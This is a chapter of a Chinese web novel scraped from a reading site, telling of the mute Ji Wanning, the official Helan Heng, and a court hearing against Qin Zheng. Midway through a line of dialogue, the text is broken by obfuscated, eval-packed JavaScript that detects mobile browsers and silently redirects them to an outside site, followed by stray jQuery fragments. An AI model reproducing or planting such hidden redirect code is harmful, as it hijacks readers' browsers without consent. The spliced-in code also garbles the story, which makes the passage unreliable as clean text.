默认冷灰
24号文字
方正启体

30. 扣人

作者:假寐水獭本书字数:K更新时间:
    进了寝室,她点上灯,给他更衣。


    褪下外裳后,季晚凝想问他要一席厚被子,便向他比划,指了指自己的被子,又抱住双臂做出冷得发抖的姿势。


    “你想说什么?”贺兰珩面上带着一丝淡淡的漠然与疲惫。


    季晚凝又比划了几遍,他不是挺聪明的一个人吗?怎么连这都看不懂,真笨。


    自从搬来贺兰府后,他先是不让她写字,又是不给她被子,之前还以为他是在生她的气,可刚刚他又来为她解了围,显然不是因为生气。


    她必须得把笔墨要回来,今日的事更加说明不能写字有多不便。


    于是她又做了个握笔的姿势。


    贺兰珩无动于衷,问道:“浴汤烧好了没有?”


    季晚凝没回应他,站在那里不动,等他给她一个解释。


    贺兰珩微微侧首,对上她簪星曳月的眼,那双眸子望着他,好像在抓着他一样。


    “笔砚不能给你。”他道,不仅是为了防止她送信。


    季晚凝觉得他很莫名其妙,抿了抿唇,轻移脚步出去让小阮备汤了。


    贺兰珩走进净房,倚在浴盆上险些睡着。


    一连几个晚上为了听季晚凝的梦呓没睡好,白日里还要为了案子精心部署。


    他派不良人鱼墨找到了那个纵火的黄麻子,是个杀过人的逃犯,于是贺兰珩买通了他构陷秦筝,作为交换答应他安置好乡下的老母亲。


    先前贺兰珩询问过小阮秦府的情况,前几日又详细地问了一遍,教黄麻子悉数记牢,堂审时才没露出马脚。


    他揉了揉眉心,每日在隔间里睡不是长久之计,得再想个办法。


    从浴室出来后,贺兰珩躺下不久就睡着了。


    季晚凝给他放下帘帐,熄灭了灯烛才去盥洗,洗完之后回到塌上躺了下来。


    她仰躺着掖紧被角,无意间看见房梁上挂着一团更黑的东西。


    季晚凝心里咯噔一下,轻轻将被角拉上来掩住半张脸,只留了一双澈亮的眸子,死死盯着那东西。


    忽然,那团黑影展开了一双翅膀,扑腾了几下,迅捷地朝她飞了过来。


    季晚凝吓得从榻上蹦了起来,掀开锦幔,躲进了里间,她抓着锦幔从缝隙里偷窥,那东西飞进了她卧榻底下。


    贺兰珩从睡梦中惊醒,就听一阵叮里咣当的响声,他坐起身来撩开了纱帐,见季晚凝正鬼鬼祟祟地贴在帘边。


    他声音低哑问道:“何事?”


    听见他的声音,季晚凝像是被解救了一般,跑到他床边,点燃一支高台上的蜡烛,指着外间,又伸出两只手比划了个翅膀的动作。


    “鸟?”


    季晚凝连连摇头,把一手放在鼻子前,五指捏在一起。


    “老鼠?”


    是蝙蝠!蝙蝠!


    她焦急地拽了拽他的被角,贺兰珩抬手掐了掐眉心,掀开被子下了床,被她拉到了外间。


    季晚凝一手指着自己的卧榻底下,一手拽紧了他的袖口,侧身躲在他背后。


    贺兰珩执烛半蹲,朝黑漆漆的榻底扫了一圈。


    “什么也没有,快睡吧。”他语气平静。


    什么眼神?这都看不见!季晚凝咬着唇在心里嘀咕,一下子松开了他的袖子。


    贺兰珩回到内间重新躺下,不过就是一只蝙蝠,一般不会主动攻击人,不是什么大事。


    内间的烛光灭了,季晚凝战战兢兢地躺回榻上,把自己裹成茧子,瞪着葡萄一样圆溜溜的眼睛,直到眼皮打架才迷迷糊糊睡着。


    ……


    翌日,堂审继续。


    贺兰珩来到御史台,吴道坤和秦筝依然坐在一处,等了片刻,宋熙扶着腰走了出来。


    升殿后,贺兰珩起身面向吴道坤,意味深长道:“下官有一事想请教吴尚书。”


    “讲。”吴道坤道。


    “秦俪如今身在何处?”


    “已经放她回去了。”吴道坤淡定地回应。


    贺兰珩嘴角噙起一丝弧度,道:“恐怕要再将她请回来了。就在大理寺案发之前不久,下官查到秦俪勾结牢头小六,对囚犯行不轨之事。”


    秦筝一拍大腿,站起来道:“大理寺失火,小女不过是求生,何来逃狱一说!”


    贺兰珩道:“秦少卿迟迟未缴赎铜,心系爱女,不惜火烧大理寺,杀人灭口,并救出秦俪。”


    秦筝拍案而起道:“贺兰珩你敢诬蔑本官!我与你父亲相识时,你还裹着襁褓呢!既然小六死了,你口说无凭!”


    贺兰珩眉峰镇敛:“证人不只小六一人。尚在的证人已在衙署外恭候多时,请宋相公让他们入殿作证。”


    宋熙冲差吏使了个眼神。


    少顷,断眉走进了公堂,冲着宋熙双手一叉。


    “卑职乃大理寺狱吏,数月前秦俪第一回下狱时,与其他女囚起了龃龉,遂指使小六打断了那女囚的右腿。后又与季晚凝不和,指使小六对其用水刑,幸而被贺兰大理发现。”


    秦筝脸上流露出一丝鄙夷之色,贱民囚犯,打了便打了,这也犯得着拿到公堂上说。


    这时殿外传来了一阵咚咚声,众人侧目往门外望去。


    一个女郎拄着木拐,吃力地一点一点将自己的残躯拖进了殿里。


    “民女王露谣,叩见贺兰大理和诸位相公。”


    王露谣挨了杖刑之后,伤口溃烂不愈,险些丢了性命,削去腐肉之后才见好转。


    后来突然有一天贺兰珩派人来给她请了名医治腿,前几日问她愿不愿出堂作证,她毫不犹豫地就答应了。


    “民女残废的右腿就是拜秦俪所赐,指使小六对我滥用私刑。”


    宋熙点点头,对差吏道:“去把秦俪带上来吧。”


    秦俪已经来了御史台,原本是被宋熙叫来指认凶手的。


    吴道坤趁着这个空当,对宋熙道:“宋相公,贺兰珩放走的就是这个聋哑女囚,不仅跟谶书案有关,本官怀疑她还跟十年前的陈澍案有关。”


    贺兰珩掀起眼眸看向他。


    “袁大调查过她,名叫季晚凝,而陈澍的夫人也姓季。本官十年前亲自审理的陈澍一案,他有个女儿就是聋哑人,想必已经改名换姓。”吴道坤拔高了声调,“宋相公,这不可能是巧合吧!”


    “本官怀疑这个季晚凝就是谶书幕后主使,杀袁大灭口,再杀小六雪恨。贺兰珩不仅包藏她,还助她行凶,当视为同罪!”


    正在这时,秦俪被带到了,她听见了吴道坤的话。


    “哈哈哈哈哈哈!说得好!那个哑巴是冲着我来的,她要杀了我!”


    秦俪眼神散乱,笑得左摇右摆,随后看见了王露谣,一脚踹在了她腿上。


    “王露谣,还有你!是不是你们合谋要害我!不过废了你条腿而已,如今怎地变成了这副德性?哈哈哈哈哈!活该!”


    王露谣摔倒在地,仰起头来瞪着她,眼里蕴起了仇火。


    秦俪被她看得有些发毛,踉踉跄跄地朝秦筝扑了过去,放声大哭道:“阿耶,救救女儿!我每日做噩梦梦见她来索命!阿耶一定要帮我杀了那个贱人!”


    “乖女儿,阿耶一定会帮你报仇的。”秦筝于心不忍,自从目睹了袁大、小六之死后,女儿就变得疯疯癫癫的。


    啪!


    “把秦俪关到台狱里。”宋熙拍了下惊堂木,“证人也先退下去吧。”


    王露谣用木拐撑起身子,一瘸一拐地走了出去。


    “宋相公,昨日那弓手的身份查得如何了?”贺兰珩问道。


    “那贼人确是右万骑骑兵,他已经供认


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164469|196639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了曾参与魏王谋反案,并逃过了刑罚。”宋熙捋了一把胡须道,“只是,他嘴严得很,不肯承认秦少卿包藏了他,只说人是自己杀的。”


    此人因秦筝救过他的命,不招供也是意料之中。


    还好贺兰珩留了后手,他敛容道:“下官还查到一事,秦少卿近日为了秦俪的案子入不敷出,于是他以卫尉少卿职务之便,私藏甲胄,意图贩卖军器,请宋相公明察。”


    卫尉寺掌帐幕帷宫、仪仗兵器。


    “还有此等事?!”宋熙眼中霎时射出两道精光,“秦筝,还不从实招来!”


    秦筝适才刚松了口气,这会儿身子怵然一颤,毛发尽竖,面似金纸。


    “下……下官不敢啊!下官冤枉!”他脚一软,扑通跪拜在了地上。


    贺兰决然道:“下官所言属实,请宋相公即刻遣人前去秦府与卫尉寺调查。”


    “贺兰卿,本相就信你这一回,想必你也知道诬陷朝廷命官的后果。”宋熙道,“还等什么?先将秦筝拿下,关押到大牢!”


    宋熙一声令下,差吏们倾巢而出。


    秦筝被几人从地上架了起来,他伸直了脖子朝着吴道坤求救,吴道坤却凛着一张脸,眉头紧拧,瞅也不瞅他一眼,看来是弃车保帅了。


    殿里一下安静了许多。


    宋熙脑海里还盘旋着刚才吴道坤说的话,他问道:“陈澍的家眷不是都死了吗,吴尚书为何说季晚凝是陈澍的女儿?”


    “许是有漏网之鱼,”吴道坤道,“陈澍的妻儿当年逃走了,途中马车坠崖,尸首无法辨认。”


    谈到陈澍案,二人的立场一致,面子上态度缓和了许多。


    宋熙抚须回想陈澍的幺女,他记得她是个很健康的女童,为何吴道坤一口咬定她是聋哑人?这蠢货到底是记错了还是想陷害贺兰珩?


    这时贺兰珩开口了,语气冷静如初:“经下官查证,季晚凝并无参与谶书案的证据。此外她并非聋哑,而是只哑不聋,吴尚书想必认错人了。”


    宋熙攒着眉头思索,无法判断吴道坤所言真伪。


    “嗯……先把她带来审一审。”宋熙将目光投向贺兰珩,“那季晚凝现在何处?”


    贺兰珩道:“下官确实在大理狱中见她被欺辱曾出手相助,只因下官身为长官肩负其责,除此以外与她再无干系。至于她出狱后去了何处,下官并不知晓。”


    吴道坤站起身道:“宋相公,贺兰珩是大理卿,在供状和证据上做手脚轻而易举。”


    宋熙看他一副严厉的神情,心中暗忖,谶书案虽已结案,但这是大案,若吴道坤捅到了圣人跟前,再告他不作为,这隔岸的火就该烧到自个儿头上来了。


    “也好,来人,去把大理寺参与过谶书案的官吏请来御史台喝茶。”


    吴道坤终于露出了满意的神色,噙着笑意朝贺兰珩看了一眼。


    贺兰珩面上八风不动,镇定自若,心口却是一紧。


    出了御史台之后,他翻身上马,一甩马鞭,须臾间就赶到了大理寺。


    门口,一众差吏正押着卫庚、杨司浦、大理丞等官员往外走。


    贺兰珩提缰正要上前,马身却一动不动,低头一看,辔头被人稳稳地牵住了。


    “宋相公让鄙人转告贺兰大理,回家去吧。”


    宋熙的长随站在马前躬着身,语气恭敬又不容商榷。


    贺兰珩眉心一折,抬头看向前方,目光越过众人,卫庚正回头望着他,冲他摇了摇头。


    “宋相公还说,贺兰大理也不用进宫求情。”


    言讫,长随松开了辔头,退到一旁。


    大理寺的官员们在差吏的将扯下渐行渐远。


    贺兰珩勒住缰绳,掉头策马离去,留下四起的尘烟,静静地落在了大理寺冷清的门口。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)